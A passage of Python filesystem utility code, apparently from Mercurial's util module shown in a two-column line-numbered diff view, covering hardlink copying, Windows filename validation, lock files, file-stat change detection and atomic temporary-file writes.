1177 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
1180 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
1178 os.utime(dest, (advanced, advanced))
1181 os.utime(dest, (advanced, advanced))
1179 except shutil.Error as inst:
1182 except shutil.Error as inst:
1180 raise Abort(str(inst))
1183 raise Abort(str(inst))
1181
1184
1182 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
1185 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
1183 """Copy a directory tree using hardlinks if possible."""
1186 """Copy a directory tree using hardlinks if possible."""
1184 num = 0
1187 num = 0
1185
1188
1186 gettopic = lambda: hardlink and _('linking') or _('copying')
1189 gettopic = lambda: hardlink and _('linking') or _('copying')
1187
1190
1188 if os.path.isdir(src):
1191 if os.path.isdir(src):
1189 if hardlink is None:
1192 if hardlink is None:
1190 hardlink = (os.stat(src).st_dev ==
1193 hardlink = (os.stat(src).st_dev ==
1191 os.stat(os.path.dirname(dst)).st_dev)
1194 os.stat(os.path.dirname(dst)).st_dev)
1192 topic = gettopic()
1195 topic = gettopic()
1193 os.mkdir(dst)
1196 os.mkdir(dst)
1194 for name, kind in listdir(src):
1197 for name, kind in listdir(src):
1195 srcname = os.path.join(src, name)
1198 srcname = os.path.join(src, name)
1196 dstname = os.path.join(dst, name)
1199 dstname = os.path.join(dst, name)
1197 def nprog(t, pos):
1200 def nprog(t, pos):
1198 if pos is not None:
1201 if pos is not None:
1199 return progress(t, pos + num)
1202 return progress(t, pos + num)
1200 hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
1203 hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
1201 num += n
1204 num += n
1202 else:
1205 else:
1203 if hardlink is None:
1206 if hardlink is None:
1204 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1207 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
1205 os.stat(os.path.dirname(dst)).st_dev)
1208 os.stat(os.path.dirname(dst)).st_dev)
1206 topic = gettopic()
1209 topic = gettopic()
1207
1210
1208 if hardlink:
1211 if hardlink:
1209 try:
1212 try:
1210 oslink(src, dst)
1213 oslink(src, dst)
1211 except (IOError, OSError):
1214 except (IOError, OSError):
1212 hardlink = False
1215 hardlink = False
1213 shutil.copy(src, dst)
1216 shutil.copy(src, dst)
1214 else:
1217 else:
1215 shutil.copy(src, dst)
1218 shutil.copy(src, dst)
1216 num += 1
1219 num += 1
1217 progress(topic, num)
1220 progress(topic, num)
1218 progress(topic, None)
1221 progress(topic, None)
1219
1222
1220 return hardlink, num
1223 return hardlink, num
1221
1224
1222 _winreservednames = b'''con prn aux nul
1225 _winreservednames = b'''con prn aux nul
1223 com1 com2 com3 com4 com5 com6 com7 com8 com9
1226 com1 com2 com3 com4 com5 com6 com7 com8 com9
1224 lpt1 lpt2 lpt3 lpt4 lpt5 lpt6 lpt7 lpt8 lpt9'''.split()
1227 lpt1 lpt2 lpt3 lpt4 lpt5 lpt6 lpt7 lpt8 lpt9'''.split()
1225 _winreservedchars = ':*?"<>|'
1228 _winreservedchars = ':*?"<>|'
1226 def checkwinfilename(path):
1229 def checkwinfilename(path):
1227 r'''Check that the base-relative path is a valid filename on Windows.
1230 r'''Check that the base-relative path is a valid filename on Windows.
1228 Returns None if the path is ok, or a UI string describing the problem.
1231 Returns None if the path is ok, or a UI string describing the problem.
1229
1232
1230 >>> checkwinfilename("just/a/normal/path")
1233 >>> checkwinfilename("just/a/normal/path")
1231 >>> checkwinfilename("foo/bar/con.xml")
1234 >>> checkwinfilename("foo/bar/con.xml")
1232 "filename contains 'con', which is reserved on Windows"
1235 "filename contains 'con', which is reserved on Windows"
1233 >>> checkwinfilename("foo/con.xml/bar")
1236 >>> checkwinfilename("foo/con.xml/bar")
1234 "filename contains 'con', which is reserved on Windows"
1237 "filename contains 'con', which is reserved on Windows"
1235 >>> checkwinfilename("foo/bar/xml.con")
1238 >>> checkwinfilename("foo/bar/xml.con")
1236 >>> checkwinfilename("foo/bar/AUX/bla.txt")
1239 >>> checkwinfilename("foo/bar/AUX/bla.txt")
1237 "filename contains 'AUX', which is reserved on Windows"
1240 "filename contains 'AUX', which is reserved on Windows"
1238 >>> checkwinfilename("foo/bar/bla:.txt")
1241 >>> checkwinfilename("foo/bar/bla:.txt")
1239 "filename contains ':', which is reserved on Windows"
1242 "filename contains ':', which is reserved on Windows"
1240 >>> checkwinfilename("foo/bar/b\07la.txt")
1243 >>> checkwinfilename("foo/bar/b\07la.txt")
1241 "filename contains '\\x07', which is invalid on Windows"
1244 "filename contains '\\x07', which is invalid on Windows"
1242 >>> checkwinfilename("foo/bar/bla ")
1245 >>> checkwinfilename("foo/bar/bla ")
1243 "filename ends with ' ', which is not allowed on Windows"
1246 "filename ends with ' ', which is not allowed on Windows"
1244 >>> checkwinfilename("../bar")
1247 >>> checkwinfilename("../bar")
1245 >>> checkwinfilename("foo\\")
1248 >>> checkwinfilename("foo\\")
1246 "filename ends with '\\', which is invalid on Windows"
1249 "filename ends with '\\', which is invalid on Windows"
1247 >>> checkwinfilename("foo\\/bar")
1250 >>> checkwinfilename("foo\\/bar")
1248 "directory name ends with '\\', which is invalid on Windows"
1251 "directory name ends with '\\', which is invalid on Windows"
1249 '''
1252 '''
1250 if path.endswith('\\'):
1253 if path.endswith('\\'):
1251 return _("filename ends with '\\', which is invalid on Windows")
1254 return _("filename ends with '\\', which is invalid on Windows")
1252 if '\\/' in path:
1255 if '\\/' in path:
1253 return _("directory name ends with '\\', which is invalid on Windows")
1256 return _("directory name ends with '\\', which is invalid on Windows")
1254 for n in path.replace('\\', '/').split('/'):
1257 for n in path.replace('\\', '/').split('/'):
1255 if not n:
1258 if not n:
1256 continue
1259 continue
1257 for c in _filenamebytestr(n):
1260 for c in _filenamebytestr(n):
1258 if c in _winreservedchars:
1261 if c in _winreservedchars:
1259 return _("filename contains '%s', which is reserved "
1262 return _("filename contains '%s', which is reserved "
1260 "on Windows") % c
1263 "on Windows") % c
1261 if ord(c) <= 31:
1264 if ord(c) <= 31:
1262 return _("filename contains %r, which is invalid "
1265 return _("filename contains %r, which is invalid "
1263 "on Windows") % c
1266 "on Windows") % c
1264 base = n.split('.')[0]
1267 base = n.split('.')[0]
1265 if base and base.lower() in _winreservednames:
1268 if base and base.lower() in _winreservednames:
1266 return _("filename contains '%s', which is reserved "
1269 return _("filename contains '%s', which is reserved "
1267 "on Windows") % base
1270 "on Windows") % base
1268 t = n[-1]
1271 t = n[-1]
1269 if t in '. ' and n not in '..':
1272 if t in '. ' and n not in '..':
1270 return _("filename ends with '%s', which is not allowed "
1273 return _("filename ends with '%s', which is not allowed "
1271 "on Windows") % t
1274 "on Windows") % t
1272
1275
1273 if pycompat.osname == 'nt':
1276 if pycompat.osname == 'nt':
1274 checkosfilename = checkwinfilename
1277 checkosfilename = checkwinfilename
1275 timer = time.clock
1278 timer = time.clock
1276 else:
1279 else:
1277 checkosfilename = platform.checkosfilename
1280 checkosfilename = platform.checkosfilename
1278 timer = time.time
1281 timer = time.time
1279
1282
1280 if safehasattr(time, "perf_counter"):
1283 if safehasattr(time, "perf_counter"):
1281 timer = time.perf_counter
1284 timer = time.perf_counter
1282
1285
1283 def makelock(info, pathname):
1286 def makelock(info, pathname):
1284 try:
1287 try:
1285 return os.symlink(info, pathname)
1288 return os.symlink(info, pathname)
1286 except OSError as why:
1289 except OSError as why:
1287 if why.errno == errno.EEXIST:
1290 if why.errno == errno.EEXIST:
1288 raise
1291 raise
1289 except AttributeError: # no symlink in os
1292 except AttributeError: # no symlink in os
1290 pass
1293 pass
1291
1294
1292 ld = os.open(pathname, os.O_CREAT | os.O_WRONLY | os.O_EXCL)
1295 ld = os.open(pathname, os.O_CREAT | os.O_WRONLY | os.O_EXCL)
1293 os.write(ld, info)
1296 os.write(ld, info)
1294 os.close(ld)
1297 os.close(ld)
1295
1298
1296 def readlock(pathname):
1299 def readlock(pathname):
1297 try:
1300 try:
1298 return os.readlink(pathname)
1301 return os.readlink(pathname)
1299 except OSError as why:
1302 except OSError as why:
1300 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1303 if why.errno not in (errno.EINVAL, errno.ENOSYS):
1301 raise
1304 raise
1302 except AttributeError: # no symlink in os
1305 except AttributeError: # no symlink in os
1303 pass
1306 pass
1304 fp = posixfile(pathname)
1307 fp = posixfile(pathname)
1305 r = fp.read()
1308 r = fp.read()
1306 fp.close()
1309 fp.close()
1307 return r
1310 return r
1308
1311
1309 def fstat(fp):
1312 def fstat(fp):
1310 '''stat file object that may not have fileno method.'''
1313 '''stat file object that may not have fileno method.'''
1311 try:
1314 try:
1312 return os.fstat(fp.fileno())
1315 return os.fstat(fp.fileno())
1313 except AttributeError:
1316 except AttributeError:
1314 return os.stat(fp.name)
1317 return os.stat(fp.name)
1315
1318
1316 # File system features
1319 # File system features
1317
1320
1318 def fscasesensitive(path):
1321 def fscasesensitive(path):
1319 """
1322 """
1320 Return true if the given path is on a case-sensitive filesystem
1323 Return true if the given path is on a case-sensitive filesystem
1321
1324
1322 Requires a path (like /foo/.hg) ending with a foldable final
1325 Requires a path (like /foo/.hg) ending with a foldable final
1323 directory component.
1326 directory component.
1324 """
1327 """
1325 s1 = os.lstat(path)
1328 s1 = os.lstat(path)
1326 d, b = os.path.split(path)
1329 d, b = os.path.split(path)
1327 b2 = b.upper()
1330 b2 = b.upper()
1328 if b == b2:
1331 if b == b2:
1329 b2 = b.lower()
1332 b2 = b.lower()
1330 if b == b2:
1333 if b == b2:
1331 return True # no evidence against case sensitivity
1334 return True # no evidence against case sensitivity
1332 p2 = os.path.join(d, b2)
1335 p2 = os.path.join(d, b2)
1333 try:
1336 try:
1334 s2 = os.lstat(p2)
1337 s2 = os.lstat(p2)
1335 if s2 == s1:
1338 if s2 == s1:
1336 return False
1339 return False
1337 return True
1340 return True
1338 except OSError:
1341 except OSError:
1339 return True
1342 return True
1340
1343
1341 try:
1344 try:
1342 import re2
1345 import re2
1343 _re2 = None
1346 _re2 = None
1344 except ImportError:
1347 except ImportError:
1345 _re2 = False
1348 _re2 = False
1346
1349
1347 class _re(object):
1350 class _re(object):
1348 def _checkre2(self):
1351 def _checkre2(self):
1349 global _re2
1352 global _re2
1350 try:
1353 try:
1351 # check if match works, see issue3964
1354 # check if match works, see issue3964
1352 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1355 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
1353 except ImportError:
1356 except ImportError:
1354 _re2 = False
1357 _re2 = False
1355
1358
1356 def compile(self, pat, flags=0):
1359 def compile(self, pat, flags=0):
1357 '''Compile a regular expression, using re2 if possible
1360 '''Compile a regular expression, using re2 if possible
1358
1361
1359 For best performance, use only re2-compatible regexp features. The
1362 For best performance, use only re2-compatible regexp features. The
1360 only flags from the re module that are re2-compatible are
1363 only flags from the re module that are re2-compatible are
1361 IGNORECASE and MULTILINE.'''
1364 IGNORECASE and MULTILINE.'''
1362 if _re2 is None:
1365 if _re2 is None:
1363 self._checkre2()
1366 self._checkre2()
1364 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1367 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
1365 if flags & remod.IGNORECASE:
1368 if flags & remod.IGNORECASE:
1366 pat = '(?i)' + pat
1369 pat = '(?i)' + pat
1367 if flags & remod.MULTILINE:
1370 if flags & remod.MULTILINE:
1368 pat = '(?m)' + pat
1371 pat = '(?m)' + pat
1369 try:
1372 try:
1370 return re2.compile(pat)
1373 return re2.compile(pat)
1371 except re2.error:
1374 except re2.error:
1372 pass
1375 pass
1373 return remod.compile(pat, flags)
1376 return remod.compile(pat, flags)
1374
1377
1375 @propertycache
1378 @propertycache
1376 def escape(self):
1379 def escape(self):
1377 '''Return the version of escape corresponding to self.compile.
1380 '''Return the version of escape corresponding to self.compile.
1378
1381
1379 This is imperfect because whether re2 or re is used for a particular
1382 This is imperfect because whether re2 or re is used for a particular
1380 function depends on the flags, etc, but it's the best we can do.
1383 function depends on the flags, etc, but it's the best we can do.
1381 '''
1384 '''
1382 global _re2
1385 global _re2
1383 if _re2 is None:
1386 if _re2 is None:
1384 self._checkre2()
1387 self._checkre2()
1385 if _re2:
1388 if _re2:
1386 return re2.escape
1389 return re2.escape
1387 else:
1390 else:
1388 return remod.escape
1391 return remod.escape
1389
1392
1390 re = _re()
1393 re = _re()
1391
1394
1392 _fspathcache = {}
1395 _fspathcache = {}
1393 def fspath(name, root):
1396 def fspath(name, root):
1394 '''Get name in the case stored in the filesystem
1397 '''Get name in the case stored in the filesystem
1395
1398
1396 The name should be relative to root, and be normcase-ed for efficiency.
1399 The name should be relative to root, and be normcase-ed for efficiency.
1397
1400
1398 Note that this function is unnecessary, and should not be
1401 Note that this function is unnecessary, and should not be
1399 called, for case-sensitive filesystems (simply because it's expensive).
1402 called, for case-sensitive filesystems (simply because it's expensive).
1400
1403
1401 The root should be normcase-ed, too.
1404 The root should be normcase-ed, too.
1402 '''
1405 '''
1403 def _makefspathcacheentry(dir):
1406 def _makefspathcacheentry(dir):
1404 return dict((normcase(n), n) for n in os.listdir(dir))
1407 return dict((normcase(n), n) for n in os.listdir(dir))
1405
1408
1406 seps = pycompat.ossep
1409 seps = pycompat.ossep
1407 if pycompat.osaltsep:
1410 if pycompat.osaltsep:
1408 seps = seps + pycompat.osaltsep
1411 seps = seps + pycompat.osaltsep
1409 # Protect backslashes. This gets silly very quickly.
1412 # Protect backslashes. This gets silly very quickly.
1410 seps.replace('\\','\\\\')
1413 seps.replace('\\','\\\\')
1411 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1414 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
1412 dir = os.path.normpath(root)
1415 dir = os.path.normpath(root)
1413 result = []
1416 result = []
1414 for part, sep in pattern.findall(name):
1417 for part, sep in pattern.findall(name):
1415 if sep:
1418 if sep:
1416 result.append(sep)
1419 result.append(sep)
1417 continue
1420 continue
1418
1421
1419 if dir not in _fspathcache:
1422 if dir not in _fspathcache:
1420 _fspathcache[dir] = _makefspathcacheentry(dir)
1423 _fspathcache[dir] = _makefspathcacheentry(dir)
1421 contents = _fspathcache[dir]
1424 contents = _fspathcache[dir]
1422
1425
1423 found = contents.get(part)
1426 found = contents.get(part)
1424 if not found:
1427 if not found:
1425 # retry "once per directory" per "dirstate.walk" which
1428 # retry "once per directory" per "dirstate.walk" which
1426 # may take place for each patches of "hg qpush", for example
1429 # may take place for each patches of "hg qpush", for example
1427 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1430 _fspathcache[dir] = contents = _makefspathcacheentry(dir)
1428 found = contents.get(part)
1431 found = contents.get(part)
1429
1432
1430 result.append(found or part)
1433 result.append(found or part)
1431 dir = os.path.join(dir, part)
1434 dir = os.path.join(dir, part)
1432
1435
1433 return ''.join(result)
1436 return ''.join(result)
1434
1437
1435 def getfstype(dirpath):
1438 def getfstype(dirpath):
1436 '''Get the filesystem type name from a directory (best-effort)
1439 '''Get the filesystem type name from a directory (best-effort)
1437
1440
1438 Returns None if we are unsure. Raises OSError on ENOENT, EPERM, etc.
1441 Returns None if we are unsure. Raises OSError on ENOENT, EPERM, etc.
1439 '''
1442 '''
1440 return getattr(osutil, 'getfstype', lambda x: None)(dirpath)
1443 return getattr(osutil, 'getfstype', lambda x: None)(dirpath)
1441
1444
1442 def checknlink(testfile):
1445 def checknlink(testfile):
1443 '''check whether hardlink count reporting works properly'''
1446 '''check whether hardlink count reporting works properly'''
1444
1447
1445 # testfile may be open, so we need a separate file for checking to
1448 # testfile may be open, so we need a separate file for checking to
1446 # work around issue2543 (or testfile may get lost on Samba shares)
1449 # work around issue2543 (or testfile may get lost on Samba shares)
1447 f1 = testfile + ".hgtmp1"
1450 f1 = testfile + ".hgtmp1"
1448 if os.path.lexists(f1):
1451 if os.path.lexists(f1):
1449 return False
1452 return False
1450 try:
1453 try:
1451 posixfile(f1, 'w').close()
1454 posixfile(f1, 'w').close()
1452 except IOError:
1455 except IOError:
1453 try:
1456 try:
1454 os.unlink(f1)
1457 os.unlink(f1)
1455 except OSError:
1458 except OSError:
1456 pass
1459 pass
1457 return False
1460 return False
1458
1461
1459 f2 = testfile + ".hgtmp2"
1462 f2 = testfile + ".hgtmp2"
1460 fd = None
1463 fd = None
1461 try:
1464 try:
1462 oslink(f1, f2)
1465 oslink(f1, f2)
1463 # nlinks() may behave differently for files on Windows shares if
1466 # nlinks() may behave differently for files on Windows shares if
1464 # the file is open.
1467 # the file is open.
1465 fd = posixfile(f2)
1468 fd = posixfile(f2)
1466 return nlinks(f2) > 1
1469 return nlinks(f2) > 1
1467 except OSError:
1470 except OSError:
1468 return False
1471 return False
1469 finally:
1472 finally:
1470 if fd is not None:
1473 if fd is not None:
1471 fd.close()
1474 fd.close()
1472 for f in (f1, f2):
1475 for f in (f1, f2):
1473 try:
1476 try:
1474 os.unlink(f)
1477 os.unlink(f)
1475 except OSError:
1478 except OSError:
1476 pass
1479 pass
1477
1480
1478 def endswithsep(path):
1481 def endswithsep(path):
1479 '''Check path ends with os.sep or os.altsep.'''
1482 '''Check path ends with os.sep or os.altsep.'''
1480 return (path.endswith(pycompat.ossep)
1483 return (path.endswith(pycompat.ossep)
1481 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1484 or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
1482
1485
1483 def splitpath(path):
1486 def splitpath(path):
1484 '''Split path by os.sep.
1487 '''Split path by os.sep.
1485 Note that this function does not use os.altsep because this is
1488 Note that this function does not use os.altsep because this is
1486 an alternative of simple "xxx.split(os.sep)".
1489 an alternative of simple "xxx.split(os.sep)".
1487 It is recommended to use os.path.normpath() before using this
1490 It is recommended to use os.path.normpath() before using this
1488 function if need.'''
1491 function if need.'''
1489 return path.split(pycompat.ossep)
1492 return path.split(pycompat.ossep)
1490
1493
1491 def gui():
1494 def gui():
1492 '''Are we running in a GUI?'''
1495 '''Are we running in a GUI?'''
1493 if pycompat.sysplatform == 'darwin':
1496 if pycompat.sysplatform == 'darwin':
1494 if 'SSH_CONNECTION' in encoding.environ:
1497 if 'SSH_CONNECTION' in encoding.environ:
1495 # handle SSH access to a box where the user is logged in
1498 # handle SSH access to a box where the user is logged in
1496 return False
1499 return False
1497 elif getattr(osutil, 'isgui', None):
1500 elif getattr(osutil, 'isgui', None):
1498 # check if a CoreGraphics session is available
1501 # check if a CoreGraphics session is available
1499 return osutil.isgui()
1502 return osutil.isgui()
1500 else:
1503 else:
1501 # pure build; use a safe default
1504 # pure build; use a safe default
1502 return True
1505 return True
1503 else:
1506 else:
1504 return pycompat.osname == "nt" or encoding.environ.get("DISPLAY")
1507 return pycompat.osname == "nt" or encoding.environ.get("DISPLAY")
1505
1508
1506 def mktempcopy(name, emptyok=False, createmode=None):
1509 def mktempcopy(name, emptyok=False, createmode=None):
1507 """Create a temporary file with the same contents from name
1510 """Create a temporary file with the same contents from name
1508
1511
1509 The permission bits are copied from the original file.
1512 The permission bits are copied from the original file.
1510
1513
1511 If the temporary file is going to be truncated immediately, you
1514 If the temporary file is going to be truncated immediately, you
1512 can use emptyok=True as an optimization.
1515 can use emptyok=True as an optimization.
1513
1516
1514 Returns the name of the temporary file.
1517 Returns the name of the temporary file.
1515 """
1518 """
1516 d, fn = os.path.split(name)
1519 d, fn = os.path.split(name)
1517 fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, dir=d)
1520 fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, dir=d)
1518 os.close(fd)
1521 os.close(fd)
1519 # Temporary files are created with mode 0600, which is usually not
1522 # Temporary files are created with mode 0600, which is usually not
1520 # what we want. If the original file already exists, just copy
1523 # what we want. If the original file already exists, just copy
1521 # its mode. Otherwise, manually obey umask.
1524 # its mode. Otherwise, manually obey umask.
1522 copymode(name, temp, createmode)
1525 copymode(name, temp, createmode)
1523 if emptyok:
1526 if emptyok:
1524 return temp
1527 return temp
1525 try:
1528 try:
1526 try:
1529 try:
1527 ifp = posixfile(name, "rb")
1530 ifp = posixfile(name, "rb")
1528 except IOError as inst:
1531 except IOError as inst:
1529 if inst.errno == errno.ENOENT:
1532 if inst.errno == errno.ENOENT:
1530 return temp
1533 return temp
1531 if not getattr(inst, 'filename', None):
1534 if not getattr(inst, 'filename', None):
1532 inst.filename = name
1535 inst.filename = name
1533 raise
1536 raise
1534 ofp = posixfile(temp, "wb")
1537 ofp = posixfile(temp, "wb")
1535 for chunk in filechunkiter(ifp):
1538 for chunk in filechunkiter(ifp):
1536 ofp.write(chunk)
1539 ofp.write(chunk)
1537 ifp.close()
1540 ifp.close()
1538 ofp.close()
1541 ofp.close()
1539 except: # re-raises
1542 except: # re-raises
1540 try: os.unlink(temp)
1543 try: os.unlink(temp)
1541 except OSError: pass
1544 except OSError: pass
1542 raise
1545 raise
1543 return temp
1546 return temp
1544
1547
1545 class filestat(object):
1548 class filestat(object):
1546 """help to exactly detect change of a file
1549 """help to exactly detect change of a file
1547
1550
1548 'stat' attribute is result of 'os.stat()' if specified 'path'
1551 'stat' attribute is result of 'os.stat()' if specified 'path'
1549 exists. Otherwise, it is None. This can avoid preparative
1552 exists. Otherwise, it is None. This can avoid preparative
1550 'exists()' examination on client side of this class.
1553 'exists()' examination on client side of this class.
1551 """
1554 """
1552 def __init__(self, stat):
1555 def __init__(self, stat):
1553 self.stat = stat
1556 self.stat = stat
1554
1557
1555 @classmethod
1558 @classmethod
1556 def frompath(cls, path):
1559 def frompath(cls, path):
1557 try:
1560 try:
1558 stat = os.stat(path)
1561 stat = os.stat(path)
1559 except OSError as err:
1562 except OSError as err:
1560 if err.errno != errno.ENOENT:
1563 if err.errno != errno.ENOENT:
1561 raise
1564 raise
1562 stat = None
1565 stat = None
1563 return cls(stat)
1566 return cls(stat)
1564
1567
1565 @classmethod
1568 @classmethod
1566 def fromfp(cls, fp):
1569 def fromfp(cls, fp):
1567 stat = os.fstat(fp.fileno())
1570 stat = os.fstat(fp.fileno())
1568 return cls(stat)
1571 return cls(stat)
1569
1572
1570 __hash__ = object.__hash__
1573 __hash__ = object.__hash__
1571
1574
1572 def __eq__(self, old):
1575 def __eq__(self, old):
1573 try:
1576 try:
1574 # if ambiguity between stat of new and old file is
1577 # if ambiguity between stat of new and old file is
1575 # avoided, comparison of size, ctime and mtime is enough
1578 # avoided, comparison of size, ctime and mtime is enough
1576 # to exactly detect change of a file regardless of platform
1579 # to exactly detect change of a file regardless of platform
1577 return (self.stat.st_size == old.stat.st_size and
1580 return (self.stat.st_size == old.stat.st_size and
1578 self.stat.st_ctime == old.stat.st_ctime and
1581 self.stat.st_ctime == old.stat.st_ctime and
1579 self.stat.st_mtime == old.stat.st_mtime)
1582 self.stat.st_mtime == old.stat.st_mtime)
1580 except AttributeError:
1583 except AttributeError:
1581 pass
1584 pass
1582 try:
1585 try:
1583 return self.stat is None and old.stat is None
1586 return self.stat is None and old.stat is None
1584 except AttributeError:
1587 except AttributeError:
1585 return False
1588 return False
1586
1589
1587 def isambig(self, old):
1590 def isambig(self, old):
1588 """Examine whether new (= self) stat is ambiguous against old one
1591 """Examine whether new (= self) stat is ambiguous against old one
1589
1592
1590 "S[N]" below means stat of a file at N-th change:
1593 "S[N]" below means stat of a file at N-th change:
1591
1594
1592 - S[n-1].ctime < S[n].ctime: can detect change of a file
1595 - S[n-1].ctime < S[n].ctime: can detect change of a file
1593 - S[n-1].ctime == S[n].ctime
1596 - S[n-1].ctime == S[n].ctime
1594 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
1597 - S[n-1].ctime < S[n].mtime: means natural advancing (*1)
1595 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
1598 - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
1596 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
1599 - S[n-1].ctime > S[n].mtime: never occurs naturally (don't care)
1597 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
1600 - S[n-1].ctime > S[n].ctime: never occurs naturally (don't care)
1598
1601
1599 Case (*2) above means that a file was changed twice or more at
1602 Case (*2) above means that a file was changed twice or more at
1600 same time in sec (= S[n-1].ctime), and comparison of timestamp
1603 same time in sec (= S[n-1].ctime), and comparison of timestamp
1601 is ambiguous.
1604 is ambiguous.
1602
1605
1603 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
1606 Base idea to avoid such ambiguity is "advance mtime 1 sec, if
1604 timestamp is ambiguous".
1607 timestamp is ambiguous".
1605
1608
1606 But advancing mtime only in case (*2) doesn't work as
1609 But advancing mtime only in case (*2) doesn't work as
1607 expected, because naturally advanced S[n].mtime in case (*1)
1610 expected, because naturally advanced S[n].mtime in case (*1)
1608 might be equal to manually advanced S[n-1 or earlier].mtime.
1611 might be equal to manually advanced S[n-1 or earlier].mtime.
1609
1612
1610 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
1613 Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
1611 treated as ambiguous regardless of mtime, to avoid overlooking
1614 treated as ambiguous regardless of mtime, to avoid overlooking
1612 by confliction between such mtime.
1615 by confliction between such mtime.
1613
1616
1614 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
1617 Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
1615 S[n].mtime", even if size of a file isn't changed.
1618 S[n].mtime", even if size of a file isn't changed.
1616 """
1619 """
1617 try:
1620 try:
1618 return (self.stat.st_ctime == old.stat.st_ctime)
1621 return (self.stat.st_ctime == old.stat.st_ctime)
1619 except AttributeError:
1622 except AttributeError:
1620 return False
1623 return False
1621
1624
1622 def avoidambig(self, path, old):
1625 def avoidambig(self, path, old):
1623 """Change file stat of specified path to avoid ambiguity
1626 """Change file stat of specified path to avoid ambiguity
1624
1627
1625 'old' should be previous filestat of 'path'.
1628 'old' should be previous filestat of 'path'.
1626
1629
1627 This skips avoiding ambiguity, if a process doesn't have
1630 This skips avoiding ambiguity, if a process doesn't have
1628 appropriate privileges for 'path'. This returns False in this
1631 appropriate privileges for 'path'. This returns False in this
1629 case.
1632 case.
1630
1633
1631 Otherwise, this returns True, as "ambiguity is avoided".
1634 Otherwise, this returns True, as "ambiguity is avoided".
1632 """
1635 """
1633 advanced = (old.stat.st_mtime + 1) & 0x7fffffff
1636 advanced = (old.stat.st_mtime + 1) & 0x7fffffff
1634 try:
1637 try:
1635 os.utime(path, (advanced, advanced))
1638 os.utime(path, (advanced, advanced))
1636 except OSError as inst:
1639 except OSError as inst:
1637 if inst.errno == errno.EPERM:
1640 if inst.errno == errno.EPERM:
1638 # utime() on the file created by another user causes EPERM,
1641 # utime() on the file created by another user causes EPERM,
1639 # if a process doesn't have appropriate privileges
1642 # if a process doesn't have appropriate privileges
1640 return False
1643 return False
1641 raise
1644 raise
1642 return True
1645 return True
1643
1646
1644 def __ne__(self, other):
1647 def __ne__(self, other):
1645 return not self == other
1648 return not self == other
1646
1649
1647 class atomictempfile(object):
1650 class atomictempfile(object):
1648 '''writable file object that atomically updates a file
1651 '''writable file object that atomically updates a file
1649
1652
1650 All writes will go to a temporary copy of the original file. Call
1653 All writes will go to a temporary copy of the original file. Call
1651 close() when you are done writing, and atomictempfile will rename
1654 close() when you are done writing, and atomictempfile will rename
1652 the temporary copy to the original name, making the changes
1655 the temporary copy to the original name, making the changes
1653 visible. If the object is destroyed without being closed, all your
1656 visible. If the object is destroyed without being closed, all your
1654 writes are discarded.
1657 writes are discarded.
1655
1658
1656 checkambig argument of constructor is used with filestat, and is
1659 checkambig argument of constructor is used with filestat, and is
1657 useful only if target file is guarded by any lock (e.g. repo.lock
1660 useful only if target file is guarded by any lock (e.g. repo.lock
1658 or repo.wlock).
1661 or repo.wlock).
1659 '''
1662 '''
1660 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
1663 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
1661 self.__name = name # permanent name
1664 self.__name = name # permanent name
1662 self._tempname = mktempcopy(name, emptyok=('w' in mode),
1665 self._tempname = mktempcopy(name, emptyok=('w' in mode),
1663 createmode=createmode)
1666 createmode=createmode)
1664 self._fp = posixfile(self._tempname, mode)
1667 self._fp = posixfile(self._tempname, mode)
1665 self._checkambig = checkambig
1668 self._checkambig = checkambig
1666
1669
1667 # delegated methods
1670 # delegated methods
1668 self.read = self._fp.read
1671 self.read = self._fp.read
1669 self.write = self._fp.write
1672 self.write = self._fp.write
1670 self.seek = self._fp.seek
1673 self.seek = self._fp.seek
1671 self.tell = self._fp.tell
1674 self.tell = self._fp.tell
1672 self.fileno = self._fp.fileno
1675 self.fileno = self._fp.fileno
1673
1676
1674 def close(self):
1677 def close(self):
1675 if not self._fp.closed:
1678 if not self._fp.closed:
1676 self._fp.close()
1679 self._fp.close()
1677 filename = localpath(self.__name)
1680 filename = localpath(self.__name)
1678 oldstat = self._checkambig and filestat.frompath(filename)
1681 oldstat = self._checkambig and filestat.frompath(filename)
1679 if oldstat and oldstat.stat:
1682 if oldstat and oldstat.stat:
1680 rename(self._tempname, filename)
1683 rename(self._tempname, filename)
1681 newstat = filestat.frompath(filename)
1684 newstat = filestat.frompath(filename)
1682 if newstat.isambig(oldstat):
1685 if newstat.isambig(oldstat):
1683 # stat of changed file is ambiguous to original one
1686 # stat of changed file is ambiguous to original one
1684 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
1687 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
1685 os.utime(filename, (advanced, advanced))
1688 os.utime(filename, (advanced, advanced))
1686 else:
1689 else:
1687 rename(self._tempname, filename)
1690 rename(self._tempname, filename)
1688
1691
1689 def discard(self):
